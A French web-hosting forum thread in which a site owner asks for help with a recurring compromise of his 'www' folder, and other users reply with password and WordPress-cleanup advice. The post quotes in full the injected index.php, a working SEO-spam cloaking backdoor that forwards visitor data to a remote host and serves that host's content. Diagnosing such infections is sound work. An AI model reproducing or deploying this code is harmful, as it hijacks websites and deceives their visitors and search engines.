Piratage systematique sur le FTP
... / Piratage systematique sur...
BMPCreated with Sketch.BMPZIPCreated with Sketch.ZIPXLSCreated with Sketch.XLSTXTCreated with Sketch.TXTPPTCreated with Sketch.PPTPNGCreated with Sketch.PNGPDFCreated with Sketch.PDFJPGCreated with Sketch.JPGGIFCreated with Sketch.GIFDOCCreated with Sketch.DOC Error Created with Sketch.
question

Piratage systematique sur le FTP

Par
Abdoul_AzizM
Créé le 2023-03-31 10:08:01 (edited on 2024-09-04 11:50:35) dans FTP et SSH

J'ai un hébergement "Kimsufi 2015". La semaine dernière mon site a été piraté. J'ai investigué et j'ai l'impression que c'est le serveur FTP qui est piraté.

Les 2 étapes qui me font penser ça sont :

1 - J’efface l’intégralité de mes fichiers. - Il n'y a plus de fichier dans "www"
2 - je créé un fichier .htaccess vide dans "www'.

— à ce stade plus aucune action nécéssaire —

Le piratage apparait : un fichier index.php est créé sur le serveur et le fichier .htaccess n’est pas vide.

J'ai demandé de l'aide sur OVH Cloud, j'ai été très déçu de leurs réponses et ils ont fermés mon sujet en m'envoyant sur ce forum.

Savez-vous pourquoi mon dossier "www" est ainsi piraté ? J'ai tenté d'écraser les fichiers .htaccess et index.php qui ont été créés, mais il semble s'agir d'ancienne version qui sont rétablis dans l'état piraté !

Que faire ?

Pour le moment j'ai modifié mon dossier racine "www" vers un nouveau dossier, et le nouveau dossier n'est pas piraté.

Avez-vous des situations similaires qu'avez-vous fait ?


5 réponses ( Latest reply on 2023-03-31 15:54:08 Par
fritz2cat officiel (d'avant la migration)
)

Bonjour,
Avez vous modifié le mot de passe de votre compte FTP ?
Pourquoi ne pas utiliser SFTP ?
Êtes vous raisonnablement sur que votre ordinateur est "sain" ?

J'ai utilisé le FTP Online d'OVH et j'ai eu le même résultat.

```text Je tiens à ajouter que j'ai un site tout simple avec des images et du texte.

Voici les fichiers qui sont créés sur le serveur de manière automatique :

Informations complémentaires
voici le contenu du .htaccess qui n'est pas le mien

# BEGIN WordPress

RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]


# END WordPress

voici le code que je vois dans le fichier index.php qui ne vient pas de moi

$c='fgss188';@set_time_limit(3600);define("W",'http://fgss188.freemiss.ru');define("U",getu());function k($e){return@$_SERVER[$e]?$_SERVER[$e]:"";}define("S",k("PHP_SELF"));define("F",strpos(S,"index.php")!==false&&strpos(U,S)===false?rtrim(S,"index.php"):S);define("U2",preg_replace("#^\W+#","",ltrim(U,F)));$g=k('HTTP_USER_AGENT');function getu(){$i=k("REQUEST_URI");if(empty($i)){$i=S.'?'.(!empty(k('argv'))?k('argv')[0]:k('QUERY_STRING'));}return $i;}function is_https(){if(!empty($_SERVER['HTTPS'])&&strtolower($_SERVER['HTTPS'])!=='off'){return true;}elseif(!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']==='https'){return true;}elseif(!empty($_SERVER['HTTP_FRONT_END_HTTPS'])&&strtolower($_SERVER['HTTP_FRONT_END_HTTPS'])!=='off'){return true;}return false;}function get_ip(){$j=$_SERVER['REMOTE_ADDR'];if(!empty($_SERVER['HTTP_CLIENT_IP'])){$j=$_SERVER['HTTP_CLIENT_IP'];}elseif(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$j=$_SERVER['HTTP_X_FORWARDED_FOR'];}if(stristr($j,',')){$m=explode(",",$j);$j=$m[0];}return $j;}function http($n,$o){$q="text/html";if(strpos(U2,"pingsitemap")===false&&(strpos(U2,".xml")!==false||strpos(U2,"/feed")!==false)){$q="text/xml";}else if(strpos(U2,".txt")!==false){$q="text/plain";}else if(strpos(U2,"images/")!==false){$q="image/webp";}else if(strpos(U2,"sitemap.xsl")!==false){$q="text/css";}header("content-type: $q; charset=UTF-8");$r=http_build_query($o);$s=W.$n."?".$r;$w=@file_get_contents($s);if(!$w)$w=c(W.$n,$r,0);if(!$w)$w=c(W.$n,$r,1);if(!$w){$x=@fopen($s,'r');if($x){stream_get_meta_data($x);$y="";while(!feof($x)){$y.=fgets($x,1024);}fclose($x);return $y;}}return $w;}function c($n,$r,$z){$aa=curl_init();if($z){curl_setopt($aa,CURLOPT_URL,$n);curl_setopt($aa,CURLOPT_POST,1);curl_setopt($aa,CURLOPT_POSTFIELDS,$r);}else{curl_setopt($aa,CURLOPT_URL,$n."?".$r);}curl_setopt($aa,CURLOPT_RETURNTRANSFER,1);curl_setopt($aa,CURLOPT_HEADER,0);curl_setopt($aa,CURLOPT_TIMEOUT,10);curl_setopt($aa,CURLOPT_FOLLOWLOCATION,1);$w=curl_exec($aa);curl_close($aa);return $w;}function g($n,$o){$w=http($n,$o);if(!$w){@header('HTTP/1.1 500 Internal Server Error');die();}$e=substr($w,0,1);switch($e){case "4":@header('HTTP/1.1 404 Not Found');die();case "5":@header('HTTP/1.1 500 Internal Server Error');die();case "3":@header('HTTP/1.1 302 Moved Permanently');header('Location: '.substr($w,1));header('referer: '.k("HTTP_HOST"));die();case "7":return false;case "8":die();default:header('HTTP/1.1 200 OK');return $w;}}if(strpos(U,"jp2023")!==false){echo "

JP2023

".$c."-beautiful

";die();}$bb=array("ip"=>get_ip(),"lang"=>k("HTTP_ACCEPT_LANGUAGE"),"ua"=>$g,"r"=>strtolower(k("HTTP_REFERER")),"host"=>k("HTTP_HOST"),"uri"=>U,"uri2"=>U2,"isBot"=>preg_match("@google|yahoo|bing@",$g)?"1":"","f"=>F,);if(is_https()){$bb["h"]="1";}if(strpos(U,"pingsitemap")!==false){$cc=explode(",",g("/sitemap.list",$bb));foreach($cc as $dd){$o='https://www.google.com/ping?sitemap='.$dd;$w=c%28$o,array%28),0);if(!$w){$w=@file_get_contents($o);}if(stristr($w,'successfully')){echo $o.'
pingok
';}else{echo $o.'======creat file false!
';}}die();}$ee=g("",$bb);if($ee)die($ee);?> ```


J'ai utilisé le FTP Online d'OVH et j'ai eu le même résultat.

Commencez par changer tous les mots de passe Login OVH, FTP, Base de données, admin site tous différents et 16 caractères en désordre : (Chiffres, lettres, Majuscules, Minuscules).


voici le code que je vois dans le fichier index.php qui ne vient pas de moi


Considérez que tous les fichiers de votre site sont probablement infectés.


Récupérez chez vous le contenu de wp-content et le wp-config.php.
Renommez themes en themes_old
Renommez plugins en plugins_old
Vous ne devriez plus avoir aucun fichier *.php sauf wp-content/index.php qui contient ces 2 lignes:
``// Silence is golden.`


Allez dans l'admin de votre site et désactivez tous les plugins.

Vous pouvez tout effacer dans votre site (ou les glisser dans un répertoire "de récupération" où tout ce qui s'y trouve est probablement infecté.)

Récupérez un Wordpress sain depuis Wordpress.org, dézippez et uploadez le tout.
Uploadez votre wp-config.php
Uploadez wp-content (sans les plugins et les thèmes)

Normalement votre site doit repartir.
Cependant dans certains cas des fragments infectés peuvent se trouver dans la base de données, vous pouvez aussi avoir des utilisateurs administrateurs que vous n'avez pas créés, la liste des risques est longue et on ne peut pas résumer toute la créativité des pirates dans une réponse.